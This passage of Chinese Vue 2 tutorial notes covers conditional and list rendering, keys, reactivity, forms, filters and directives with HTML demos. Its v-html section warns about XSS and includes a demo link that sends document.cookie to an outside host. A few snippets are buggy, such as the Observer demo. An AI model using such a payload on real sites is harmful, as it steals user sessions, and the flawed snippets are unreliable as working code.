        特点:不展示的DOM元素直接被移除。
        注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被"“打断”。
        2.v-show
        写法:v-show="表达式"
        适用于:切换频率较高的场景。
        特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
        3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。        
     -->
    <div id="root">
        <!-- 使用v-show做条件渲染,如果为false,就为display:none掉 切换频率高推荐使用v-show-->
        <h2 v-show="a">欢迎你:{{name}} </h2>
        <h2 v-show="1==1">欢迎你:{{name}} </h2>
        <!-- 使用v-if做条件渲染,如果为false,v-if标记的整个组件都不存在了 切换频率低的推荐使用v-if-->
        <h2 v-if="a">欢迎你:{{name}} </h2>
        <h2 v-if="1==1">欢迎你:{{name}} </h2>
        <h2>当前的n值为:{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <div v-show="n==1">Angular</div>
        <div v-show="n==2">React</div>
        <div v-show="n==3">Vue</div>
        <!-- if成立的话,else-if就不执行了,效率更高一些 -->
        <div v-if="n==1">Angular</div>
        <div v-else-if="n==2">React</div>
        <div v-else-if="n==3">Vue</div>
        <div v-else="n==4">哈哈</div>
        <!-- v-else不需要写条件,如果写条件了也不生效 -->
        <!-- v-if、v-else-if、v-else,v-if为最开始的,且结构体不可被打断,打断后面的代码不生效了 -->
        <!-- <template>只能配合v-if,不影响结构 -->
        <template v-if="n==1">
            <h2>你好</h2>
            <h2>happy</h2>
            <h2>hello</h2>
        </template>
    </div>
    <script type="text/javascript">
        new Vue({
            el:"#root",
            data:{
                name:"张三",
                a:false,
                n:0
            }
        })
    </script>
</body>
</html>

列表渲染

v-for

条件渲染.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>列表渲染</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h3>列表渲染</h3>
        <ul>
            <!-- of和in都可 key绑定id或index-->
            <li v-for="p of persons" :key="p.id">
                {{p.name}}-{{p.age}}
            </li>
            <!-- 遍历数组 -->
            <li v-for="(item,index) in persons" :key="index">
                {{index}}-{{item.name}}-{{item.age}}
            </li>
            <!-- 遍历对象 -->
            <li v-for="(item,index) in user" :key="index">
                {{index}}-{{item}}
            </li>
            <!-- 遍历字符串 -->
            <li v-for="(item,index) in str" :key="index">
                {{index}}-{{item}}
            </li>
            <!-- 遍历指定次数 第一个参数为数值从1开始增,第二个参数为索引值,从0开始增加 -->
            <li v-for="(number,index) in 5" :key="index">
                {{number}}-{{index}}
            </li>
    </div>
    <script type="text/javascript">
        new Vue({
            el:"#root",
            data:{
                persons:[
                    {
                        id:"001",
                        name:"张三",
                        age:19
                    },{
                        id:"002",
                        name:"李四",
                        age:20
                    },{
                        id:"003",
                        name:"王五",
                        age:21
                    }
                ],
                user:{
                    name:"喜羊羊",
                    age:18
                },
                str:"hello"
            }
        })
    </script>
</body>
</html>

:key的作用

index为key

 id为key

 列表渲染.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>列表渲染</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
面试题:react、vue中的key有什么作用? (key的内部原理)
1.虚拟DOM中key的作用:
    key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
2.对比规则:
    (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
        .若虚拟DOM中内容没变,直接使用之前的真实DOM !
        .若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
    (2).旧虚拟DOM中未找到与新虚拟DoM槽同的key
        创建新的真实DOM,随后渲染到到页面。
3.用index作为key可能会引发的问题;
    1.若对数据进行:逆序添加、逆序删除等破坏顺序操作:
    会产生没有必要的真实DOM更新==〉界面效果没问题,但效率低。
    2.如果结构中还包含输入类的DOM:
    会产生错误DOM更新==>界面有问题。
4.开发中如何选择key? :
    1.最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。
    2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
     -->
    <div id="root">
        <h3>列表渲染</h3>
        <button @click="add">添加一个老刘</button>
        <ul>
            <!-- key是给vue使用的-->
            <li v-for="p of persons" :key="p.id">
                {{p.name}}-{{p.age}}
            </li>
            <!-- 遍历数组 index作为唯一标识key  input写写后添加老刘会对应不起来-->
            <li v-for="(item,index) in persons" :key="index">
                {{index}}-{{item.name}}-{{item.age}}:<input type="text"/>
            </li>
            <!-- 遍历数组 id作为唯一标识key  input写写后添加老刘不会出问题-->
            <li v-for="(item,index) in persons" :key="item.key">
                {{index}}-{{item.name}}-{{item.age}}:<input type="text"/>
            </li>
    </div>
    <script type="text/javascript">
        new Vue({
            el:"#root",
            data:{
                persons:[
                    {
                        id:"001",
                        name:"张三",
                        age:19
                    },{
                        id:"002",
                        name:"李四",
                        age:20
                    },{
                        id:"003",
                        name:"王五",
                        age:21
                    }
                ] 
            },
            methods: {
                add(){
                    const p = {id:"004",name:"老刘",age:18}
                    this.persons.push(p)
                }
            },
        })
    </script>
</body>
</html>

列表过滤

watch和计算属性均可实现:

watch的写法: 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>列表过滤</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h3>人员列表</h3>
        <input placeholder="请输入名字" type="text" v-model="keyWorld" >
        <ul>
            <li v-for="p of filPersons" :key="p.id">
                {{p.name}}-{{p.age}}-{{p.sex}}
            </li>
    </div>
    <script type="text/javascript">
        new Vue({
            el:"#root",
            data:{
                keyWorld:'',
                persons:[{id:"001",name:"马冬梅",age:19,sex:"女"},
                         {id:"002",name:"周冬雨",age:20,sex:"女"},
                         {id:"003",name:"周杰伦",age:21,sex:"男"},
                         {id:"004",name:"温兆伦",age:22,sex:"男"}],
                filPersons:[] 
            },
            watch:{
                keyWorld:{
                        immediate:true,
                        handler(val){//未输入空串是全匹配了
                            this.filPersons = this.persons.filter((p)=>{
                                //return p.age>19
                                return p.name.indexOf(val) !== -1
                            })
                        }
                    }
                }
        })
    </script>
</body>
</html>

computed计算属性写法:更简便一些:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>列表过滤</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h3>人员列表</h3>
        <input placeholder="请输入名字" type="text" v-model="keyWorld" >
        <ul>
            <li v-for="p of filPersons" :key="p.id">
                {{p.name}}-{{p.age}}-{{p.sex}}
            </li>
    </div>
    <script type="text/javascript">
        new Vue({
            el:"#root",
            data:{
                keyWorld:'',
                persons:[{id:"001",name:"马冬梅",age:19,sex:"女"},
                         {id:"002",name:"周冬雨",age:20,sex:"女"},
                         {id:"003",name:"周杰伦",age:21,sex:"男"},
                         {id:"004",name:"温兆伦",age:22,sex:"男"}],
            },
            computed:{
                filPersons(){//刚开始keyWorld为空,每个元素都匹配都可以显示出来了
                    return this.persons.filter((p)=>{
                        //return p.age>19
                        return p.name.indexOf(this.keyWorld) !== -1
                    })
                }
            }
        })
    </script>
</body>
</html>

列表排序:

列表排序.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>列表排序</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h3>人员列表</h3>
        <input placeholder="请输入名字" type="text" v-model="keyWorld" >
        <button @click="sortTyp=2">年龄升序</button>
        <button @click="sortTyp=1">年龄降序</button>
        <button @click="sortTyp=0">原顺序</button>
        <ul>
            <li v-for="p of filPersons" :key="p.id">
                {{p.name}}-{{p.age}}-{{p.sex}}
            </li>
    </div>
    <script type="text/javascript">
        new Vue({
            el:"#root",
            data:{
                keyWorld:'',
                sortTyp:0,  //0原顺序、1降序、2升序
                persons:[{id:"001",name:"马冬梅",age:29,sex:"女"},
                         {id:"002",name:"周冬雨",age:20,sex:"女"},
                         {id:"003",name:"周杰伦",age:31,sex:"男"},
                         {id:"004",name:"温兆伦",age:12,sex:"男"}],
            },
            computed:{
                filPersons(){//列表排序,data中数据变化后,每次变化都会重新走一次计算属性
                    const arr  = this.persons.filter((p)=>{
                        //return p.age>19
                        return p.name.indexOf(this.keyWorld) !== -1
                    })
                    if(this.sortTyp!==0){
                        arr.sort((p1,p2)=>{
                            return this.sortTyp==1? p2.age-p1.age: p1.age-p2.age
                        })
                    }
                    return arr
                }
            }
        })
    </script>
</body>
</html>

Vue如何监测数据改变的?

更新时的问题

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>更新时的问题</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h3>人员列表</h3>
        <button @click="updateMei">更新马冬梅</button>
        <ul>
            <li v-for="p of persons" :key="p.id">
                {{p.name}}-{{p.age}}-{{p.sex}}
            </li>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                persons:[{id:"001",name:"马冬梅",age:29,sex:"女"},
                         {id:"002",name:"周冬雨",age:20,sex:"女"},
                         {id:"003",name:"周杰伦",age:31,sex:"男"},
                         {id:"004",name:"温兆伦",age:12,sex:"男"}],
            },
            methods:{
                updateMei(){
                    //this.persons[0].name="马老师"
                    this.persons[0]={id:"001",name:"马老师",age:50,sex:"男"}
                    //如果整个person[0]对象全部替换掉,f12打开vue开发者工具,再点击更新按钮,vue开发者工具中的person[0]不更新,监测不到。
                    //如果先点击更换按钮,再f12打开vue开发者工具里的person[0]就换成马老师了。
                    //但无论如何,当采用整个person[0]对象全部替换掉时,点击更新后,界面上的数据还是马冬梅。
                }
            }
        })
    </script>
</body>
</html>

Vue监测数据改变的原理

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vue监测数据改变的原理及模拟一个数据监测</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
    </div>
    <script type="text/javascript">
        /*const vm = new Vue({
            el:"#root",
            data:{
                name:"尚硅谷",
                address:"北京"
            },
        })*/
        let data={
            name:"尚硅谷",
            address:"北京"
        }
        const obs = new Observer(data)
        console.log(obs)
        let vm = {}
        vm._data=data=obs
        function Observer(obs){
            const keys = Object.keys(obs)
            keys.forEach((k)=>{//这里写了以层,而Vue底层是递归到最内层的对象的
                Object.defineProperty(this,k,{
                    get(){
                        return obj[k]
                    },
                    set(val){
                        console.log('${k}被改动了,我要去解析模板,生成虚拟DOM')
                        obj[k]=val
                    }
                })
            })
            //然后可在f12中测试vm._data.name
        }
    </script>
</body>
</html>

Vue.set()方法从外部给data的属性添加子属性

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vue.set()方法</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2>姓名:{{student.name}}</h2>
        <h2>年龄:{{student.age}}</h2>
        <h2 v-if="student.sex">性别:{{student.sex}}</h2>
        <!-- //这里的sex并未在data中定义,我们通过f12控制台的Vue.set(vm._data.student,"sex","男")或Vue.set(vm.student,"sex","男")来添加 
            或通过vm.$set(vm._data.student,'sex','女')  vm.$set(vm.student,'sex','女')
            可设置为响应式的   也可在methods中写
        注意不能给data添加一个属性,如不能给data加一个leader,不能Vue.set(vm._data,"leader","男")-->
        <button @click="addSex">点我添加一个性别默认值男</button>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                student:{
                    name:"张三",
                    age:19
                }
            },
            methods: {
                addSex(){
                    Vue.set(vm._data.student,"sex","男")
                }
            },
        })
    </script>
</body>
</html>

Vue变更数组

vue没有为数组元素提供get和set服务

不能直接通过索引值监视数组元素,不能在f12中通过vm.数组名[0]="值"的方式修改,虽然值可以被修改,但页面上呈现的还是原来的值。

需使用vue能够识别的数组方法来修改数组内容push pop shift unshift splice sort reverse
vm.hobbies.splice(0,1,"看光头强")  会把第一个替换成光头强.

采用了包装的技术。

vm._data.student.hobby.push === Array.prototype.push=》false即vue中的push并不是js原型对象中的push。vue中的push先调用原型对象的push后,然后还做了解析模板的操作

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>vue变更数组</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        不能直接通过索引值监视数组元素,不能在f12中通过vm.数组名[0]="值"的方式修改,虽然值可以被修改,但页面上呈现的还是原来的值。
        需使用vue能够识别的数组方法来修改数组内容push pop shift unshift splice sort reverse
        vm.hobbies.splice(0,1,"看光头强")  会把第一个替换成光头强.
        采用了包装的技术。
        vm._data.student.hobby.push === Array.prototype.push=》false即vue中的push并不是js原型对象中的push。vue中的push先调用原型对象的push后,然后还做了解析模板的操作
     -->
    <div id="root">
        <h2>hobbies :</h2>
        <button @click="changeHobbies" >将中间的hobbies变为看光头强</button>
        <p v-for="(h,index) in hobbies" :key="index">
            {{h}}
        </p>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                hobbies:["看喜羊羊","看胡图图","看灰太狼"]
            },
            methods: {
                changeHobbies(){
                    Vue.set(vm._data.hobbies,1,"看光头强")  
                    //也可通过Vue.set来修改数组的值,不过使用不多
                }
            },
        })
    </script>
</body>
</html>

Vue监视总结

Vue监视数据的原理:
1. vue会监视data中所有层次的数据。
2.如何监测对象中的数据?
        通过setter实现监视,且要在new Vue时就传入要监测的数据。

        (1),对象中后追加的属性,Vue默认不做响应式处理
        (2).如需给后添加的属性做响应式,请使用如下API:
                vue.set(target.propertyName/index,value)

                或vm.$set(target.propertyName/index,value)
3.如何监测数组中的数据?
        通过包裹数组更新元素的方法实现,本质就是做了两件事

        (1).调用原生对应的方法对数组进行更新。
        (2).重新解析模板,进而更新页面。

4.在Vue修改数组中的某个元素一定要用如下方法:
        1.使用这些API:plush()、pop()、shift()、unshift()、spLice()、Sort()、reverse()

        2. Vue.set()或vm.$set()
        特别注意:Vue.set()和 vm. $set()不能给vm或 vm的根数据对象添加属性!!!

_data里的数据做了数据劫持,访问data中的数据和修改data中的数据进行get和set来劫持了

收集表单数据

v-model配合各种表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>收集表单数据</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        收集表单数据:
        若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
        若:〈input type="radio"/>,则v-model收集的是value值,且要给标签配置value值.
        若:<input type="checkbox" /> 
            1.没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)
            2.配置input的value属性:
                (1)v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
                (2)v-model的初始值是数组,那么收集的的就是value组成的数组
        备注:v-model的三个修饰符:
            lazy:失去焦点再收集数据
            number:输入字符串转为有效的数字
            trim:输入首尾空格过滤        
     -->
    <div id="root">
        <!-- 调试可使用f12的vue开发者工具查看 -->
        <!-- 配上@submit.prevent="demo",当点击button按钮,阻止默认行为不发表单,同时会执行demo方法 -->
        <form @submit.prevent="demo">
            <!-- 加上label,点击账号两个字的时候,也会获取到焦点 -->
            <label for="account">账号:</label>
            <!-- 如果v-model.trim,加上trim会去除输入的空格 -->
            <input type="text" id="account" v-model.trim="account"><br/><br/>
            <label for="pwd">密码:</label>
            <input type="password" id="pwd" v-model="password"><br/><br/>
            <!-- type="number"为原生的控制此处输入必须为数字类型的。
                v.model.number为解决点击输入框输入19后默认认为字符串类型了,非要用数字类型可加上这个.number
            -->
            年龄:<input type="number" v-model.number="age"><br/><br/>
            <!-- redio或checkbox都要指定value -->
            性别:
            男:<input type="radio" value="male" name="sex" v-model="sex"/>
            女:<input type="radio" value="=female" name="sex" v-model="sex"/><br/><br/>
            爱好:
            看喜羊羊:<input type="checkbox" value="xiyangyang" v-model="hobby"/>
            看灰太狼:<input type="checkbox" value="huitailang" v-model="hobby"/>
            看光头强:<input type="checkbox" value="guangtouqiang" v-model="hobby"/><br/><br/>
            <!-- checkbox如果不给value值,默认读取的是checked,为true或false -->
            所属校区:<select v-model="city">
                <option value="">请选择校区</option>
                <option value="北京校区">北京校区</option>
                <option value="上海校区">上海校区</option>
                <option value="nanjing">南京校区</option>
                <option value="guangzhou">广州校区</option>
            </select>
            <br/><br/>
            其他信息:
            <!-- 如果v-model.lazy就不用vue时视收集数据,当该处失去焦点时收集数据 -->
            <textarea v-model.lazy="other"></textarea><br/><br/>
            <!-- 用户协议的checkbox由于获取的就是勾选或不勾选,所以不用数组 -->
            <input type="checkbox" v-model="agree"><a href="http://www.baidu">用户协议</a>
            <button>提交用户信息</button>
        </form>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                account:"",
                password:"",
                age:"",
                sex:"",
                hobby:[],//复选框的checkbox为多个,v-model要配置为数组
                city:"",
                other:"",
                agree:''  //用户协议的checkbox由于获取的就是勾选或不勾选,所以不用数组
            },
            methods:{
                demo(){
                    //console.log(JSON.stringify(this._data))
                    //或者给上述data中的数据外套一层userInfo,然后
                    //console.log(JSON.stringify(this.userInfo))
                }
            }
        })
    </script>
</body>
</html>

过滤器及全局过滤器

BootCDN - Bootstrap 中文网开源项目免费 CDN 加速服务

搜索dayjs,保存本地dayjs.min.js

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>显示格式化后的时间</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>
<body>
    <!-- 
        过滤器:
            定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理,复杂逻辑用计算属性或方法)。
        语法:
            1.注册过滤器:Vue.filter(name,callback)或new Vue{filters:{
            2.使用过滤器:{{ xxx│过滤器名}}或v-bind:属性= “xxx|过滤器名"
        备注:
            1.过滤器也可以接收额外参数、多个过滤器也可以串联
            2.并没有改变原本的数据,是产生新的对应的数据
     -->
    <div id="root">
        <h2>显示格式化后的时间</h2>
        <h3>现在是:{{fmtTime}}</h3>
        <h3>现在是:{{getFmtTime()}}</h3>
        <!-- 过滤器实现 |为管道符,下面这行为time传给timeFormate,timeFormate的返回值传给{{}}-->
        <h3>现在是:{{time | timeFormate}}</h3>
        <!-- 过滤器可以不穿参数,即使传了参数,下面函数的第一个参数总是管道符前面的,这里是time -->
        <h3>现在是:{{time | timeFormate2("YYYY-MM-DD")}}</h3>
        <!-- 如下:多个过滤器可串联,是层层处理的,time先交给timeFormate3,结果又作为参数传给mySlice -->
        <h3>现在是:{{time | timeFormate3 |mySlice}}</h3>
        <!-- 过滤器处理用在{{}}中,也可用在属性绑定中,如下 -->
        <h3 :x="msg | mySlice">尚硅谷</h3>
        <!-- v-model不支持过滤器 -->
    </div>
    <div id="root2">
        <!-- <h3>{{msg | mySlice}}</h3> 由于mySlice是root1的vue中的局部过滤器,在root2的vue中不可使用。可配置全局过滤器-->
        <h3>{{msg | mySlice2}}</h3>
    </div>
    <script type="text/javascript">
        // 全局过滤器
        Vue.filter("mySlice2",function(value){
            return value.slice(0,4)
        })
        const vm = new Vue({
            el:"#root",
            data:{
             time:1691575796197,
             msg:"你好,hello"
            },
            computed:{
                fmtTime(){
                    return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss")   //如果不传参数,就格式化当前时间,如果传参数,就格式化参数的时间
                }
            },
            methods: {
                getFmtTime(){
                    return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss")
                }
            },
            filters:{
                //timeFormate:function(){}
                timeFormate(value){
                    return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss")
                },
                timeFormate2(value,str){
                    return dayjs(this.time).format(str)
                },
                // str="YYYY-MM-DD HH:mm:ss"表示如果未传递这个参数,就默认为"YYYY-MM-DD HH:mm:ss",如果传递过来了参数,就使用传递过来的参数作为str
                timeFormate3(value,str="YYYY-MM-DD HH:mm:ss"){
                    return dayjs(this.time).format(str)
                },
                mySlice(value){
                    return value.slice(0,4)
                }
            }
        })
        new Vue({
            el:"#root2",
            data:{
                msg:"hello,atguigu!"
            }
        })
    </script>
</body>
</html>

内置指令

v-text

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>内置指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>
<body>
    <!-- 
        我们学过的指令:
            v-bind:单向绑定解析表达式。可简写为:xXX
            v-model:双向数据绑定
            v-for:遍历数组/对象/字符串
            v-on:绑定事件监听,可简写为@
            v-if:条件渲染(动态控制节点是否存存在)
            v-else:条件渲染(动态控制节点是否存存在)
            v-show:条件渲染(动态控制节点是否展示)
            V-text指令:
                1.作用:向其所在的节点中渲染文本内容。
                2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
    -->
    <div id="root">
        <h3>{{name}}</h3>
        <h3 v-text="name"></h3>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
             name:"张三"
            },
            
        })
    </script>
</body>
</html>

v-html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>内置指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>
<body>
    <!-- 
        v-html指令:
        1.作用:向指定节点中渲染包含html结构的内容。
        2.与插值语法的区别:
            (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
            (2).v-html可以识别html结构。
        3.严重注意:v-html有安全性问题!!!!
            (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
            (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!        
     -->
    <div id="root">
        <h3>{{name}}</h3>
        <h3 v-text="name"></h3>
        <div v-html="str"></div><br/>
        <div v-html="str2"></div>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
             name:"张三",
             str:"<h3>你好</h3>",
             str:"<a href=javascript:alert(1)>点击</a>",
             str2:"<a href=javascript:location.href='http://www.baidu?'+document.cookie>点击2</a>"
             //document.cookie会把当前网页中httpOnly为false的涉及的cookie带走,httpOnly为选中的cookie只能被http协议获取。
             //f12中应用中有cookie,可点击查看增删修改等
            },
        })
    </script>
</body>
</html>

v-cloak

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-cloak</title>
    <style>
        [v-cloak]{
            display: none;
        }
    </style>
    <!--http://localhost:8080/resource/5s/vue.js 为延迟5秒后返回vue.js的地址  -->
    <!-- <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> -->
    <!-- 如果引入vue.js在这里引入,就没问题,不会出现网页上因延迟引起的{{name}}先展示网页后5秒后渲染值的情况,会先空白,5秒后出现值 -->
</head>
<body>
    <!-- 
        v-cloak指令(没有值):
        1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
        2.使用csS配合v-cloak可以解决网速慢时页面展示出{{xxx}]的问题。        
     -->
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    <!--引入vue.js在这里引入,就有问题,会出现网页上因延迟引起的{{name}}先展示网页后5秒后渲染值的情况 
    解决方式为给{{name}}所在的标签加上v-cloak配合css样式使用,v-cloak作用为当vue没有介入时会加上在标签上,一旦vue介入后,就会从标签上移除 -->
</body>
<script type="text/javascript">
    const vm = new Vue({
        el:"#root",
        data:{
            name:"张三"
        },
    })
</script>
</html>

v-once

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-once</title>
    <script type="text/javascript" src="../js/vue.js">
    </script>
</head>
<body>
    <!-- 
        V-once指令:
        1.v-onc:所在节点在初次动态渲染后,就视为静态内容了。
        2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。        
     -->
    <div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
   <script type="text/javascript">
    const x = new Vue({
        el:"#root", 
        data:{ 
           n:1
        }
    })
   </script> 
</body>
</html>

回忆上面讲的事件中的.once只能执行一次事件。

v-pre

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-pre</title>
    <script type="text/javascript" src="../js/vue.js">
    </script>
</head>
<body>
    <!-- 
        v-pre指令:
            1.跳过其所在节点的编译过程。
            2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。    
     -->
    <div id="root">
        <h2 v-pre>Hello</h2>
        <h2 v-pre></h2>当前的n值是:{{n}}</h2>
        <button @click="n++" v-pre a="1">点我n+1</button>
        <!-- 加上v-pre的标签,标签写什么样,就加载什么样的内容,vue不会解析其内容了 
        不要给上面vue介入的内容加,如上面的{{}}和@click不要加。可以加在没有vue介入的标签上,如<h2 v-pre>Hello</h2> 这样vue直接跳过效率会高一些-->
    </div>
   <script type="text/javascript">
    const x = new Vue({
        el:"#root", 
        data:{ 
           n:1
        }
    })
   </script> 
</body>
</html>

自定义指令及全局自定义属性

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>自定义指令</title>
    <script type="text/javascript" src="../js/vue.js">
    </script>
</head>
<body>
    <!-- 
        需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
        需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
     -->
    <div id="root">
        <h2>当前的n值是:<span v-text="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big="n"></span></h2>
        <!-- 自定义指令名不能写成驼峰命名,可用烤肉串命名 -->
        <h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
        <button @click="n++">点我n+1</button>
        <input type="text" v-fbind:value="n"/>
    </div>
    /*<div id="root2">
        <h2>当前的n值是:<span v-text="n"></span></h2>
        <input type="text" v-fbind2:value="n"/>
    </div>*/
   <script type="text/javascript">
    // 全局自定义指令
    /*Vue.directive('fbind2',{
            bind(element,binding){
                element.value=binding.value
            },
            inserted(element,binding){
                element.focus()
            },
            update(element,binding){
                element.value = binding.value
            }
        })*/
    const x = new Vue({
        el:"#root", 
        data:{ 
           n:1
        },
        directives:{
            // big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时(data中任何数据改变时会触发模板重新解析)。
            big(element,binding){
                console.log(element)
                console.log(binding)
                console.log(this)//指令中的this都是windows
                element.innerText = binding.value *10 
            },
            'big-number'(element,binding){
                element.innerText = binding.value *10 
                console.log(this)
            },
            /*fbind:function(element,binding){
                element.value = binding.value *10 
                element.focus() //由于指令与元素成功绑定时,该元素还未放入页面,所以该focus获取焦点的操作失效
            }*/
            //像完成需求2,不能使用上面的函数的方式,因为它的执行实际为绑定时,但插入页面后才能进行获取焦点,所以得用如下对象式:
            fbind:{
                //指令与元素成功绑定时(一上来)
                bind(element,binding){
                    element.value=binding.value
                    console.log(this)//指令中的this都是windows
                },
                // 指令所在的元素被插入页面时
                inserted(element,binding){
                    element.focus()
                    console.log(this)//指令中的this都是windows
                },
                // 指令所在的模板被重新解析时
                update(element,binding){
                    element.value = binding.value
                    console.log(this)
                }
            }
        }
    })
    /*const x2 = new Vue({
        el:"#root2", 
        data:{ 
           n:1
        },
    })*/
   </script> 
</body>
</html>

原生js

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        .demo{
            background-color: bisque;
        }
    </style>
</head>
<body>
    <button id="btn">点我创建一个输入框</button>
    <script type="text/javascript">
        const btn = document.getElementById("btn");
        btn.onclick=()=>{
            const input =  document.createElement('input')  
            input.className="demo"
            input.value=99
            input.onclick = ()=>{alert(1)}
            document.body.appendChild(input)//代码的执行时机
            input.focus()//这个必须放在appendChild之后
            input.parentElement.style.backgroundColor = 'skyblue'
        }
    </script>
</body>
</html>

引出生命周期

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>引出生命周期</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
    生命周期:
        1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
        2.是什么: Vue在关键时刻帮我们调用的一些特殊名称的函数。
        3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
        4.生命周期函数中的this指向是vm或组件实例对象。        
     -->
    <div id="root">
        <h2 :style="{opacity:opacity}">欢迎学习Vue</h2>
